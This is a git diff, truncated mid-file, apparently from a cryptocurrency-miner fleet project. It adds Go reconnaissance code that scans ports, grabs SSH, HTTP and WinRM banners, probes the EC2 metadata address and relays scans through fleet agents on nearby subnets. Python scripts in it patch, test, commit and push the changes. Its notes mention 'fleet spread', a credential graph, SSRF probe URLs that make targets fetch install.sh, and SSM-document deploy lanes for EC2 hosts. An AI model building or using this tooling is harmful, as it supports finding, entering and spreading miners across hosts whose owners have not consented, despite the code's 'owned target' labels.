probeHTTPBanner(host, port) + if title != "" || server != "" { b := PortBanner{Port: port, Service: "http", Title: title, Banner: server, Hint: "origin_host"}; if looksLikeCDN(server) { b.Hint = "cdn_fronted" }; out = append(out, b) } + } + if open[5985] { if h := probeWinRMHint(host, 5985); h != "" { out = append(out, PortBanner{Port: 5985, Service: "winrm", Hint: h}) } } + return out +} +func looksLikeCDN(s string) bool { s = strings.ToLower(s); return strings.Contains(s, "cloudflare") || strings.Contains(s, "cloudfront") } +func probeSSHBanner(host string, port int) string { + if probeSSHBannerFn != nil { return probeSSHBannerFn(host, port) } + c, e := net.DialTimeout("tcp", net.JoinHostPort(host, strconv.Itoa(port)), DefaultPortDialTimeout) + if e != nil { return "" }; defer c.Close(); _ = c.SetReadDeadline(time.Now().Add(DefaultPortDialTimeout)) + line, e := bufio.NewReader(c).ReadString('\n'); if e != nil { return "" }; return strings.TrimSpace(line) +} +func probeHTTPBanner(host string, port int) (string, string) { + if probeHTTPTitleFn != nil { return probeHTTPTitleFn(host, port) } + scheme := "http"; if port == 443 { scheme = "https" } + resp, err := http.Get(fmt.Sprintf("%s://%s/", scheme, joinHostPort(host, port))) + if err != nil { return "", "" }; defer resp.Body.Close() + body, _ := io.ReadAll(io.LimitReader(resp.Body, 8192)) + title := ""; if m := bannerTitleRe.FindStringSubmatch(string(body)); len(m) > 1 { title = strings.TrimSpace(m[1]) } + return title, strings.TrimSpace(resp.Header.Get("Server")) +} +func probeWinRMHint(host string, port int) string { + if probeWinRMHintFn != nil { return probeWinRMHintFn(host, port) } + c, e := net.DialTimeout("tcp", net.JoinHostPort(host, strconv.Itoa(port)), DefaultPortDialTimeout) + if e != nil { return "" }; _ = c.Close(); return "winrm_listening" +} +func ProbeEC2Metadata() bool { + if probeEC2MetaFn != nil { return probeEC2MetaFn() } + c := &http.Client{Timeout: 800 * time.Millisecond} + r, e := c.Get("http://169.254.169.254/latest/meta-data/") + if e != nil { return false }; defer r.Body.Close() + return r.StatusCode == http.StatusOK || r.StatusCode == http.StatusUnauthorized +} diff --git a/scripts/_final_patch.py b/scripts/_final_patch.py new file mode 100644 index 0000000..d3ddc7c --- /dev/null +++ b/scripts/_final_patch.py @@ -0,0 +1,77 @@ +from pathlib import Path +p = Path(r"G:/crypto miner/scripts/test-suite.ps1") +t = p.read_text(encoding="utf-8") +if "[switch]$SubnetRecon," not in t: + t = t.replace("[switch]$Recon,", "[switch]$Recon,\n [switch]$SubnetRecon,") +blocks = """ +if ($SubnetRecon) { + Invoke-Phase \"Subnet recon (LAN sweep + fleet discoveries)\" { + Push-Location (Join-Path $Root \"agent\") + go test ./client/... ./config/... -run SubnetRecon -count=1 + go test ./deploy/... -run SubnetRecon -count=1 + Pop-Location + Push-Location (Join-Path $Root \"server\\web\") + if (-not (Test-Path \"node_modules\")) { npm install --silent } + npm run test -- --run src/help/fleetDiscoveries.test.ts + Pop-Location + } + Exit-FeatureRun \"SubnetRecon\" +} +if ($Recon) { + Invoke-Phase \"Deploy recon (engine + API + UI)\" { + Push-Location (Join-Path $Root \"server\") + go test ./internal/recon/... -count=1 + go test ./internal/api/... -run \"Recon|DeployKit|FleetSpread\" -count=1 + Pop-Location + Push-Location (Join-Path $Root \"server\\web\") + if (-not (Test-Path \"node_modules\")) { npm install --silent } + npm run test -- --run src/help/deployRecon.test.ts src/help/fleetDiscoveries.test.ts src/pages/DeployReconPage.test.tsx src/help/reconRisk.test.ts src/components/Fleet/ReconBadges.test.tsx src/components/Fleet/CrucibleExpandedOps.test.tsx + Pop-Location + } + if (-not $SkipE2E) { + Invoke-Phase \"Deploy recon E2E smoke (Playwright)\" { + $DataDir = Join-Path $env:TEMP (\"aether-recon-e2e-\" + [guid]::NewGuid().ToString(\"n\")) + New-Item -ItemType Directory -Force -Path $DataDir | Out-Null + $E2EUser = if ($env:AETHERFORGE_E2E_USER) { $env:AETHERFORGE_E2E_USER } else { \"testuser\" } + $E2EPass = if ($env:AETHERFORGE_E2E_PASS) { $env:AETHERFORGE_E2E_PASS } else { \"testpass\" } + [System.IO.File]::WriteAllText((Join-Path $DataDir \"users.json\"), (@{ $E2EUser = $E2EPass } | ConvertTo-Json -Compress)) + $ServerExe = Join-Path $Root \"bin\\miner-server.exe\" + if (-not (Test-Path $ServerExe)) { + Push-Location (Join-Path $Root \"server\") + go build -o $ServerExe . + Pop-Location + } + $env:AETHERFORGE_E2E = \"1\" + $proc = Start-Process -FilePath $ServerExe -ArgumentList \"-port\",\"18989\",\"-data\",$DataDir -WorkingDirectory $Root -PassThru -WindowStyle Hidden + try { + $ready = $false + for ($i = 0; $i -lt 30; $i++) { + try { + $r = Invoke-RestMethod \"http://127.0.0.1:18989/api/v1/health\" -TimeoutSec 2 + if ($r.status -eq \"ok\") { $ready = $true; break } + } catch {} + Start-Sleep -Seconds 1 + } + if (-not $ready) { throw \"recon E2E server not healthy on :18989\" } + Push-Location (Join-Path $Root \"server\\web\") + $env:AETHERFORGE_URL = \"http://127.0.0.1:18989\" + npx playwright test e2e/deploy-recon.spec.ts --config playwright.config.ts + if ($LASTEXITCODE -and $LASTEXITCODE -ne 0) { throw \"deploy-recon E2E failed (exit $LASTEXITCODE)\" } + Pop-Location + } finally { + if ($proc -and -not $proc.HasExited) { Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } + Remove-Item $DataDir -Recurse -Force -ErrorAction SilentlyContinue + } + } + } + Exit-FeatureRun \"Recon\" +} + +""" +# remove old Recon block(s) before phase 1 +import re +t = re.sub(r"\nif \(\$Recon\) \{.*?\n\}\n\n(?=Invoke-Phase \"1/8)", "\n", t, flags=re.S) +if "if ($SubnetRecon)" not in t: + t = t.replace("if ($ReconOnly) {", blocks + "if ($ReconOnly) {") +p.write_text(t, encoding="utf-8") +print("final patch ok") diff --git a/scripts/_update_docs.py b/scripts/_update_docs.py new file mode 100644 index 0000000..a2050a8 --- /dev/null +++ b/scripts/_update_docs.py @@ -0,0 +1,38 @@ +from pathlib import Path +import re +readme = Path(r"G:/crypto miner/tests/README.md") +text = readme.read_text(encoding="utf-8") +text = text.replace( + "Go server **960** `Test*` · Go agent **670** `Test*` · Vitest **849** tests in **109** files · Playwright **26** tests in **9** spec files.", + "Go server **1001** `Test*` · Go agent **680** `Test*` · Vitest **867** tests in **113** files · Playwright **32** tests in **10** spec files.", +) +if "Subnet recon" not in text: + text = text.replace( + "| **Fleet recon** | `.\\scripts\\test-suite.ps1 -ReconOnly` | Vuln/CVE, cred graph, triple-onion gates, Path Tracer discover, recon Vitest |", + "| **Fleet recon** | `.\\scripts\\test-suite.ps1 -ReconOnly` | Vuln/CVE, cred graph, triple-onion gates, Path Tracer discover, recon Vitest |\n| **Deploy Recon** | `.\\scripts\\test-suite.ps1 -Recon` | `internal/recon`, recon API + deploy-kit, Deploy Recon Vitest + `deploy-recon.spec.ts` E2E (unless `-SkipE2E`) |\n| **Subnet recon** | `.\\scripts\\test-suite.ps1 -SubnetRecon` | Agent subnet_recon packages + `fleetDiscoveries` Vitest |", + ) + # remove duplicate Deploy Recon if added twice + text = text.replace( + "| **Deploy Recon** | `.\\scripts\\test-suite.ps1 -Recon` | `internal/recon`, `/recon/scan` + deploy-kit API, `DeployReconPage` + `deployRecon` Vitest |\n", + "", + ) +if ".\\scripts\\test-suite.ps1 -SubnetRecon" not in text: + text = text.replace( + ".\\scripts\\test-suite.ps1 -ReconOnly", + ".\\scripts\\test-suite.ps1 -Recon\n.\\scripts\\test-suite.ps1 -SubnetRecon\n.\\scripts\\test-suite.ps1 -ReconOnly", + 1, + ) +readme.write_text(text, encoding="utf-8") +problems = Path(r"G:/crypto miner/PROBLEMS.md") +pt = problems.read_text(encoding="utf-8") +pt = pt.replace( + "Regression tables and counts: Go server **901**, agent **657**, Vitest **849**, Playwright **26**", + "Regression tables and counts: Go server **1001**, agent **680**, Vitest **867**, Playwright **32**", +) +if "Deploy Recon port scan" not in pt: + pt = pt.replace( + "## Do not commit", + "| **Deploy Recon port scan / crawl** | TCP port dial and same-origin HTTP crawl execute on the **dashboard host** (Go server), not from fleet agents. Firewall path must allow the server to reach the owned target. |\n| **Deploy Recon SSRF** | UI copies SSRF probe URLs; **no automated form submit** — operator pastes probe URL into owned target fields manually to validate server-side fetch to install.sh. |\n\n## Do not commit", + ) +problems.write_text(pt, encoding="utf-8") +print("done") diff --git a/scripts/batch1_build_scan.py b/scripts/batch1_build_scan.py new file mode 100644 index 0000000..84d4f24 --- /dev/null +++ b/scripts/batch1_build_scan.py @@ -0,0 +1,34 @@ +import subprocess +from pathlib import Path + +ROOT = Path(r"G:/crypto miner") +scan = subprocess.check_output( + ["git", "-C", str(ROOT), "show", "HEAD:server/internal/recon/scan.go"], + text=True, +) +scan = scan.replace( + "import (\n\t\"fmt\"\n\t\"net\"\n\t\"strings\"\n\t\"time\"\n)", + "import (\n\t\"bufio\"\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"net/http\"\n\t\"regexp\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n)", +) +scan = scan.replace( + "func Scan(req ScanRequest) (*ScanReport, error) {\n\thost, err := normalizeOwnedHost(req.Host)", + "func Scan(req ScanRequest) (*ScanReport, error) {\n\treturn runOwnedTargetScan(req, \"\", nil)\n}\n\nfunc scanLegacy(req ScanRequest) (*ScanReport, error) {\n\thost, err := normalizeOwnedHost(req.Host)", +) +scan = scan.replace("ports := ScanPorts(host)", "ports := ScanPorts(host, nil)") +scan = scan.replace( + "report.Recommendations = BuildRecommendations(ports, report.Crawl)", + "report.Recommendations = BuildRecommendations(ports, report.Crawl, nil, host, false)", +) +scan = scan.replace( + "func BuildRecommendations(ports []PortResult, crawl *CrawlReport) []DeployRecommendation {", + "func BuildRecommendations(ports []PortResult, crawl *CrawlReport, stack []StackEntry, host string, cloudMetaProfile bool) []DeployRecommendation {", +) +scan = scan.replace("case 80, 443, 8080, 8443:", "case 80, 443, 6262, 8080, 8443:") +# extend BuildRecommendations tail +scan = scan.replace( + "\treturn dedupeRecommendations(recs)\n}", + "\tif lane := SuggestDeployKitLane(stack); lane != \"\" {\n\t\trecs = append(recs, DeployRecommendation{Lane: lane, Reason: fmt.Sprintf(\"Technology stack suggests %s deploy-kit lane\", lane), Priority: 18})\n\t}\n\tif cloudMetaProfile && (TargetLooksEC2(host) || ProbeEC2Metadata()) {\n\t\trecs = append(recs, DeployRecommendation{Lane: \"ssm_document\", Template: \"ssm_document\", Reason: \"cloud_metadata profile - EC2/IMDS reachable; SSM document lane\", Priority: 40})\n\t}\n\treturn dedupeRecommendations(recs)\n}", +) +extra = Path(__file__).with_name("_batch1_scan_extra.go").read_text(encoding="utf-8") +Path(__file__).with_name("_batch1_scan.go").write_text(scan + extra, encoding="utf-8") +print("built scan", len(scan + extra)) diff --git a/scripts/batch1_commit.py b/scripts/batch1_commit.py new file mode 100644 index 0000000..9099687 --- /dev/null +++ b/scripts/batch1_commit.py @@ -0,0 +1,184 @@ +#!/usr/bin/env python3 +import subprocess +from pathlib import Path + +ROOT = Path(r"G:/crypto miner") +RECON = ROOT / "server/internal/recon" +SCRIPTS = Path(__file__).parent + + +def write(name: str, text: str) -> None: + data = text.encode("utf-8") + if b"\x00" in data: + raise ValueError(f"NUL in {name}") + (RECON / name).write_bytes(data) + + +def patch_crawl() -> None: + p = RECON / "crawl.go" + t = p.read_text(encoding="utf-8") + if "headerSnaps" not in t: + t = t.replace("report := &CrawlReport{}\n\tvisited", "report := &CrawlReport{}\n\tvar headerSnaps []HTTPHeaderSnap\n\tvar htmlBodies []string\n\tvisited") + t = t.replace("status, body, err := fetchPage", "status, body, headers, err := fetchPage") + t = t.replace( + "report.Pages = append(report.Pages, PageFinding{URL: item.url, StatusCode: status, Title: title})\n\n\t\tfiles", + "report.Pages = append(report.Pages, PageFinding{URL: item.url, StatusCode: status, Title: title})\n\t\tif len(headers) > 0 { headerSnaps = append(headerSnaps, HTTPHeaderSnap{URL: item.url, Headers: headers}) }\n\t\thtmlBodies = append(htmlBodies, body)\n\n\t\tfiles", + ) + t = t.replace( + "report.CMSFingerprints = mergeCMS(nil, report.CMSFingerprints)\n\treturn report, nil", + "report.CMSFingerprints = mergeCMS(nil, report.CMSFingerprints)\n\treport.Stack = BuildStack(headerSnaps, htmlBodies)\n\treturn report, nil", + ) + if "map[string]string, error" not in t: + t = t.replace("func fetchPage(rawURL string) (int, string, error)", "func fetchPage(rawURL string) (int, string, map[string]string, error)") + t = t.replace("return fetchPageFn(rawURL)", "s,b,e:=fetchPageFn(rawURL); return s,b,nil,e") + t = t.replace("return 0, \"\", err", "return 0, \"\", nil, err") + t = t.replace("return resp.StatusCode, \"\", err", "return resp.StatusCode, \"\", nil, err") + t = t.replace( + "return resp.StatusCode, body, nil\n}", + "headers:=map[string]string{}\n\tfor k,v:=range resp.Header { if len(v)>0 { headers[k]=v[0] } }\n\treturn resp.StatusCode, body, headers, nil\n}", + ) + p.write_bytes(t.encode("utf-8")) + + +def patch_tests() -> None: + p = RECON / "recon_test.go" + t = p.read_text(encoding="utf-8") + t = t.replace('ScanPorts("10.0.0.5")', 'ScanPorts("10.0.0.5", nil)') + t = t.replace('BuildRecommendations(ports, crawl)', 'BuildRecommendations(ports, crawl, nil, "10.0.0.1", false)') + extra = ''' + +func TestResolveScanPortsMergesProfiles(t *testing.T) { + ports, used := ResolveScanPorts([]string{"web", "linux", "cloud_metadata"}) + if !containsInt(ports, 6262) || len(used) != 3 { t.Fatalf("%v %v", ports, used) } +} +func TestBuildStackFromHeaders(t *testing.T) { + stack := BuildStack([]HTTPHeaderSnap{{Headers: map[string]string{"X-Powered-By":"PHP/8.1"}}}, nil) + if SuggestDeployKitLane(stack) != "php" { t.Fatal(stack) } +} +func TestGrabBannersWithHooks(t *testing.T) { + SetBannerHooks(func(_ string,p int) string { if p==22 {return "SSH"}; return "" }, func(_ string,p int)(string,string){ if p==80 {return "t","s"}; return "","" }, func(_ string,p int) string { if p==5985 {return "w"}; return "" }, nil) + t.Cleanup(func(){SetBannerHooks(nil,nil,nil,nil)}) + if len(GrabBanners("h", []PortResult{{22,true},{80,true},{5985,true}})) != 3 { t.Fatal() } +} +func TestCloudMetadataProfileSuggestsSSM(t *testing.T) { + SetBannerHooks(nil,nil,nil,func()bool{return true}); t.Cleanup(func(){SetBannerHooks(nil,nil,nil,nil)}) + for _,r := range BuildRecommendations(nil,nil,nil,"ec2.compute.amazonaws.com",true) { if r.Lane=="ssm_document" { return } } + t.Fatal() +} +func containsInt(a []int,w int) bool { for _,n:=range a { if n==w {return true} }; return false } +''' + if "TestResolveScanPortsMergesProfiles" not in t: + t += extra + p.write_bytes(t.encode("utf-8")) + + +def patch_recon_ts() -> None: + p = ROOT / "server/web/src/types/recon.ts" + t = p.read_text(encoding="utf-8") + if "profiles_used" in t: + return + t = t.replace("paths?: string[];\n}", "paths?: string[];\n profile?: string;\n profiles?: string[];\n}") + t = t.replace( + "export interface ReconPortResult {\n port: number;\n open: boolean;\n}\n\nexport interface ReconFormFinding", + "export interface ReconPortResult {\n port: number;\n open: boolean;\n}\n\nexport interface ReconPortBanner {\n port: number;\n service?: string;\n banner?: string;\n title?: string;\n hint?: string;\n}\n\nexport interface ReconStackEntry {\n name: string;\n source: string;\n detail?: string;\n}\n\nexport interface ReconFormFinding", + ) + t = t.replace("cms_fingerprints?: string[];\n}", "cms_fingerprints?: string[];\n stack?: ReconStackEntry[];\n}") + t = t.replace( + "export interface ReconScanReport {\n host: string;", + "export interface ReconScanReport {\n scan_id?: string;\n host: string;\n profile?: string;\n profiles_used?: string[];\n status?: string;", + ) + t = t.replace( + "ports: ReconPortResult[];\n crawl?: ReconCrawlReport;", + "ports: ReconPortResult[];\n banners?: ReconPortBanner[];\n stack?: ReconStackEntry[];\n deploy_kit_lane?: string;\n crawl?: ReconCrawlReport;", + ) + p.write_bytes(t.encode("utf-8")) + + +def patch_subnet_recon() -> None: + p = ROOT / "agent/deploy/subnet_recon.go" + t = p.read_text(encoding="utf-8") + if "SSHBanner" in t: + return + t = t.replace("[]int{80, 443, 8080}", "[]int{80, 443, 6262, 8080}") + t = t.replace( + 'HTTPTitle string `json:"http_title,omitempty"`\n\tStatus', + 'HTTPTitle string `json:"http_title,omitempty"`\n\tSSHBanner string `json:"ssh_banner,omitempty"`\n\tWinRMHint string `json:"winrm_hint,omitempty"`\n\tStatus', + ) + t = t.replace( + "entry.HTTPTitle = title\n\t\t}\n\t\tout = append(out, entry)", + "entry.HTTPTitle = title\n\t\t}\n\t\tif b:=probeSSHBanner(host,open);b!=\"\"{entry.SSHBanner=b}\n\t\tif h:=probeWinRMHint(host,open);h!=\"\"{entry.WinRMHint=h}\n\t\tout = append(out, entry)", + ) + insert = ''' +func probeSSHBanner(host string, openPorts []int) string { + for _, p := range openPorts { if p == 22 { + c, err := net.DialTimeout("tcp", net.JoinHostPort(host,"22"), 2*time.Second) + if err != nil { return "" } + defer c.Close() + b := make([]byte, 256); n, _ := c.Read(b) + return strings.TrimSpace(string(b[:n])) + }} + return "" +} +func probeWinRMHint(host string, openPorts []int) string { + for _, p := range openPorts { if p == 5985 { + c, err := net.DialTimeout("tcp", net.JoinHostPort(host,"5985"), 2*time.Second) + if err == nil { _ = c.Close(); return "winrm_listening" } + }} + return "" +} +''' + t = t.replace("func probeHTTPTitle(host string, openPorts []int) string {", insert + "\nfunc probeHTTPTitle(host string, openPorts []int) string {") + p.write_bytes(t.encode("utf-8")) + + +def main() -> None: + for orphan in ("upload_hunter.go", "admin_surface.go", "recon_ux.go"): + p = RECON / orphan + if p.exists(): + p.unlink() + subprocess.run(["python", str(SCRIPTS / "batch1_build_scan.py")], check=True) + subprocess.run(["git", "checkout", "HEAD", "--", "server/internal/recon/crawl.go", "server/internal/recon/recon_test.go", "server/internal/recon/relay_scan.go"], cwd=str(ROOT), check=True) + exec((SCRIPTS / "_batch1_embed.py").read_text(encoding="utf-8"), globals()) + write("types.go", TYPES) + write("portscan.go", PORTSCAN) + write("scan.go", (SCRIPTS / "_batch1_scan.go").read_text(encoding="utf-8")) + ux = RECON / "recon_ux.go" + if ux.exists(): + ux.unlink() + for orphan in ("upload_hunter.go", "admin_surface.go", "recon_ux.go"): + p = RECON / orphan + if p.exists(): + p.unlink() + patch_crawl() + patch_tests() + patch_recon_ts() + patch_subnet_recon() + relay = RECON / "relay_scan.go" + if relay.exists(): + t = relay.read_text(encoding="utf-8") + t = t.replace('ScanPorts(host)', 'ScanPorts(host, nil)') + t = t.replace('BuildRecommendations(ports, nil)', 'BuildRecommendations(ports, nil, nil, host, false)') + t = t.replace('shell.Recommendations = BuildRecommendations(ports, nil, nil, host, false)', 'shell.Recommendations = BuildRecommendations(ports, nil, nil, shell.Host, false)') + t = t.replace( + "Host: r.Host, ScannedAt: r.ScannedAt, Ports: r.Ports, RelayVia: relayVia,\n\t\tUDPHints: r.UDPHints, PathTracerHints: r.PathTracerHints, Message: r.Message,\n\t\tRecommendations: r.Recommendations,", + "Host: r.Host, ScannedAt: r.ScannedAt, Ports: r.Ports, RelayVia: relayVia, Recommendations: r.Recommendations,", + ) + relay.write_bytes(t.encode("utf-8")) + env = {**subprocess.os.environ, "GOCACHE": str(ROOT / ".gocache")} + r = subprocess.run(["go", "test", "./internal/recon/..."], cwd=str(ROOT / "server"), env=env) + if r.returncode != 0: + raise SystemExit(r.returncode) + subprocess.run( + ["git", "add", "server/internal/recon", "server/web/src/types/recon.ts", "agent/deploy/subnet_recon.go", "scripts"], + cwd=str(ROOT), check=True, + ) + subprocess.run( + ["git", "commit", "-m", "Add recon network batch 1: stack banners and smart port profiles.\n\nParse technology stack from crawl headers, grab SSH/HTTP/WinRM banners, merge smart port bundles with FleetPorts, and suggest deploy-kit lane plus SSM for EC2 metadata targets."], + cwd=str(ROOT), check=True, + ) + subprocess.run(["git", "push", "origin", "main"], cwd=str(ROOT), check=True) + print("COMMIT_HASH=" + subprocess.check_output(["git", "rev-parse", "HEAD"], cwd=str(ROOT), text=True).strip()) + + +if __name__ == "__main__": + main() diff --git a/scripts/commit-recon-batch2.py b/scripts/commit-recon-batch2.py new file mode 100644 index 0000000..e308307 --- /dev/null +++ b/scripts/commit-recon-batch2.py @@ -0,0 +1,789 @@ +#!/usr/bin/env python3 +"""Write recon batch 2 files, test, commit, and push in one shot.""" +import subprocess +import sys +from pathlib import Path + +ROOT = Path(__file__).resolve().parents[1] + +FILES = {} + +FILES["server/internal/recon/relay_scan.go"] = r'''package recon + +import ( + "encoding/json" + "errors" + "net" + "strconv" + "strings" + "time" +) + +var RelayScanUDPPorts = []int{53, 51820} + +type RelayScanRequest struct { + Host string `json:"host"` + UDPGuess bool `json:"udp_guess,omitempty"` +} + +type UDPHint struct { + Port int `json:"port"` + Open bool `json:"open"` + Service string `json:"service"` +} + +type RelayScanReport struct { + Host string `json:"host"` + ScannedAt time.Time `json:"scanned_at"` + LocalReachable bool `json:"local_reachable"` + ScannedVia string `json:"scanned_via"` + RelayAgentID string `json:"relay_agent_id,omitempty"` + RelayAgentName string `json:"relay_agent_name,omitempty"` + Ports []PortResult `json:"ports"` + UDPHints []UDPHint `json:"udp_hints,omitempty"` + PathTracerHints []string `json:"path_tracer_hints,omitempty"` + Message string `json:"message,omitempty"` + Recommendations []DeployRecommendation `json:"recommendations,omitempty"` +} + +var reachabilityPorts = []int{80, 443, 22, 445, 3389} +var hostReachableFn func(host string) bool +var udpGuessFn func(host string, ports []int) []UDPHint + +func SetHostReachableHook(fn func(host string) bool) { hostReachableFn = fn } +func SetUDPGuesssHook(fn func(host string, ports []int) []UDPHint) { udpGuessFn = fn } + +func HostReachable(host string) bool { + if hostReachableFn != nil { + return hostReachableFn(host) + } + host = strings.TrimSpace(host) + for _, port := range reachabilityPorts { + conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, strconv.Itoa(port)), 1200*time.Millisecond) + if err == nil { + conn.Close() + return true + } + if isConnRefused(err) { + return true + } + } + return false +} + +func GuessUDPHints(host string, enabled bool) []UDPHint { + if !enabled { + return nil + } + if udpGuessFn != nil { + return udpGuessFn(host, RelayScanUDPPorts) + } + var out []UDPHint + for _, port := range RelayScanUDPPorts { + out = append(out, UDPHint{Port: port, Open: probeUDPQuick(host, port), Service: udpServiceLabel(port)}) + } + return out +} + +func PathTracerHintsFromUDP(hints []UDPHint) []string { + var out []string + seen := map[string]bool{} + for _, h := range hints { + if h.Open && h.Service != "" && !seen[h.Service] { + seen[h.Service] = true + out = append(out, h.Service) + } + } + return out +} + +func LocalRelayScan(req RelayScanRequest) (*RelayScanReport, error) { + host, err := NormalizeHost(req.Host) + if err != nil { + return nil, err + } + ports := ScanPorts(host) + udp := GuessUDPHints(host, req.UDPGuess) + return &RelayScanReport{ + Host: host, ScannedAt: time.Now().UTC(), LocalReachable: true, ScannedVia: "server", + Ports: ports, UDPHints: udp, PathTracerHints: PathTracerHintsFromUDP(udp), + Recommendations: BuildRecommendations(ports, nil), + }, nil +} + +func MergeAgentRelayScan(shell RelayScanReport, agentPayload []byte, udpGuess bool) (*RelayScanReport, error) { + var raw struct { + OpenPorts []int `json:"open_ports"` + UDPHints []UDPHint `json:"udp_hints"` + } + if err := json.Unmarshal(agentPayload, &raw); err != nil { + return nil, err + } + openSet := map[int]bool{} + for _, p := range raw.OpenPorts { + openSet[p] = true + } + ports := make([]PortResult, 0, len(FleetPorts)) + for _, p := range FleetPorts { + ports = append(ports, PortResult{Port: p, Open: openSet[p]}) + } + udp := raw.UDPHints + if udpGuess && len(udp) == 0 { + udp = GuessUDPHints(shell.Host, true) + } + shell.Ports = ports + shell.UDPHints = udp + shell.PathTracerHints = PathTracerHintsFromUDP(udp) + shell.Recommendations = BuildRecommendations(ports, nil) + shell.ScannedAt = time.Now().UTC() + return &shell, nil +} + +func (r *RelayScanReport) ToScanReport() *ScanReport { + if r == nil { + return nil + } + relayVia := "" + if r.ScannedVia == "relay" { + if r.RelayAgentName != "" { + relayVia = r.RelayAgentName + } else if r.RelayAgentID != "" { + relayVia = r.RelayAgentID + } + } + return &ScanReport{ + Host: r.Host, ScannedAt: r.ScannedAt, Ports: r.Ports, RelayVia: relayVia, + UDPHints: r.UDPHints, PathTracerHints: r.PathTracerHints, Message: r.Message, + Recommendations: r.Recommendations, + } +} + +func udpServiceLabel(port int) string { + switch port { + case 53: + return "dns" + case 51820: + return "wireguard" + default: + return "" + } +} + +func isConnRefused(err error) bool { + if err == nil { + return false + } + var opErr *net.OpError + if errors.As(err, &opErr) { + return strings.Contains(strings.ToLower(opErr.Err.Error()), "refused") + } + return strings.Contains(strings.ToLower(err.Error()), "refused") +} + +func probeUDPQuick(host string, port int) bool { + conn, err := net.DialTimeout("udp", net.JoinHostPort(host, strconv.Itoa(port)), 800*time.Millisecond) + if err != nil { + return false + } + defer conn.Close() + _ = conn.SetDeadline(time.Now().Add(800 * time.Millisecond)) + if b := udpProbePayload(port); len(b) > 0 { + _, _ = conn.Write(b) + } + buf := make([]byte, 512) + n, err := conn.Read(buf) + return err == nil && n > 0 +} + +func udpProbePayload(port int) []byte { + switch port { + case 53: + return []byte{0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x07, 'v', 'e', 'r', 's', 'i', 'o', 'n', 0x04, 'b', 'i', 'n', 'd', 0x00, 0x00, 0x10, 0x00, 0x03} + case 51820: + return []byte{0x01, 0x00, 0x00, 0x00} + default: + return nil + } +} +''' + +FILES["server/internal/recon/relay_scan_test.go"] = r'''package recon + +import "testing" + +func TestHostReachableHook(t *testing.T) { + SetHostReachableHook(func(host string) bool { return host == "10.0.0.5" }) + t.Cleanup(func() { SetHostReachableHook(nil) }) + if !HostReachable("10.0.0.5") || HostReachable("10.0.0.6") { + t.Fatal("reachability hook mismatch") + } +} + +func TestMergeAgentRelayScanWireguardHint(t *testing.T) { + payload := []byte(`{"open_ports":[22],"udp_hints":[{"port":51820,"open":true,"service":"wireguard"}]}`) + merged, err := MergeAgentRelayScan(RelayScanReport{Host: "10.1.2.50", ScannedVia: "relay"}, payload, false) + if err != nil || len(merged.PathTracerHints) != 1 || merged.PathTracerHints[0] != "wireguard" { + t.Fatalf("merged=%+v err=%v", merged, err) + } +} +''' + +FILES["server/internal/api/recon_relay_scan.go"] = r'''package api + +import ( + "encoding/json" + "net/http" + "strings" + "time" + + "crypto-miner-server/internal/recon" +) + +const relayScanTimeout = 30 * time.Second + +func (h *ReconHandler) RelayScan(w http.ResponseWriter, r *http.Request) { + var req recon.RelayScanRequest + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "invalid JSON", http.StatusBadRequest) + return + } + req.Host = strings.TrimSpace(req.Host) + if req.Host == "" { + http.Error(w, "host required", http.StatusBadRequest) + return + } + host, err := recon.NormalizeHost(req.Host) + if err != nil { + http.Error(w, err.Error(), http.StatusBadRequest) + return + } + req.Host = host + + if recon.HostReachable(host) { + report, err := recon.LocalRelayScan(req) + if err != nil { + writeJSON(w, map[string]interface{}{"ok": false, "error": err.Error()}) + return + } + writeJSON(w, map[string]interface{}{"ok": true, "report": report.ToScanReport()}) + return + } + + if h == nil || h.wsHub == nil { + writeJSON(w, relayScanFallback(host, "", "", "fleet websocket hub unavailable")) + return + } + + seedID, seedName, ok := pickSpreadSeedAgent(h.wsHub, host, "") + if !ok { + writeJSON(w, relayScanFallback(host, "", "", "no online fleet agent on nearby /24 to relay scan for "+host)) + return + } + + ch := h.wsHub.AwaitCommandResult(seedID, "recon_relay_scan") + args := map[string]interface{}{"command": host} + if req.UDPGuess { + args["path"] = "true" + } + if err := h.wsHub.SendAgentCommand(seedID, "recon_relay_scan", args); err != nil { + h.wsHub.CancelAwait(seedID, "recon_relay_scan") + writeJSON(w, map[string]interface{}{ + "ok": false, "agent_id": seedID, "agent_name": seedName, "error": err.Error(), + "report": relayScanFallbackReport(host, seedName, "relay dispatch failed: "+err.Error()), + }) + return + } + + select { + case payload := <-ch: + success, _ := payload["success"].(bool) + msg, _ := payload["message"].(string) + if !success { + writeJSON(w, map[string]interface{}{ + "ok": false, "agent_id": seedID, "agent_name": seedName, "error": strings.TrimSpace(msg), + "report": relayScanFallbackReport(host, seedName, strings.TrimSpace(msg)), + }) + return + } + shell := recon.RelayScanReport{ + Host: host, LocalReachable: false, ScannedVia: "relay", + RelayAgentID: seedID, RelayAgentName: seedName, + } + merged, err := recon.MergeAgentRelayScan(shell, []byte(msg), req.UDPGuess) + if err != nil { + writeJSON(w, map[string]interface{}{ + "ok": false, "agent_id": seedID, "agent_name": seedName, + "error": "invalid agent relay payload: " + err.Error(), + }) + return + } + writeJSON(w, map[string]interface{}{ + "ok": true, "agent_id": seedID, "agent_name": seedName, "report": merged.ToScanReport(), + }) + case <-time.After(relayScanTimeout): + h.wsHub.CancelAwait(seedID, "recon_relay_scan") + writeJSON(w, map[string]interface{}{ + "ok": false, "agent_id": seedID, "agent_name": seedName, "error": "relay scan timed out", + "report": relayScanFallbackReport(host, seedName, "relay scan timed out after 30s"), + }) + } +} + +func relayScanFallback(host, agentID, agentName, message string) map[string]interface{} { + out := map[string]interface{}{"ok": false, "error": message, "report": relayScanFallbackReport(host, agentName, message)} + if agentID != "" { + out["agent_id"] = agentID + } + if agentName != "" { + out["agent_name"] = agentName + } + return out +} + +func relayScanFallbackReport(host, relayVia, message string) *recon.ScanReport { + return &recon.ScanReport{Host: host, ScannedAt: time.Now().UTC(), RelayVia: relayVia, Message: message} +} +''' + +FILES["server/internal/api/recon_relay_scan_test.go"] = r'''package api + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + "time" + + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/recon" +) + +func 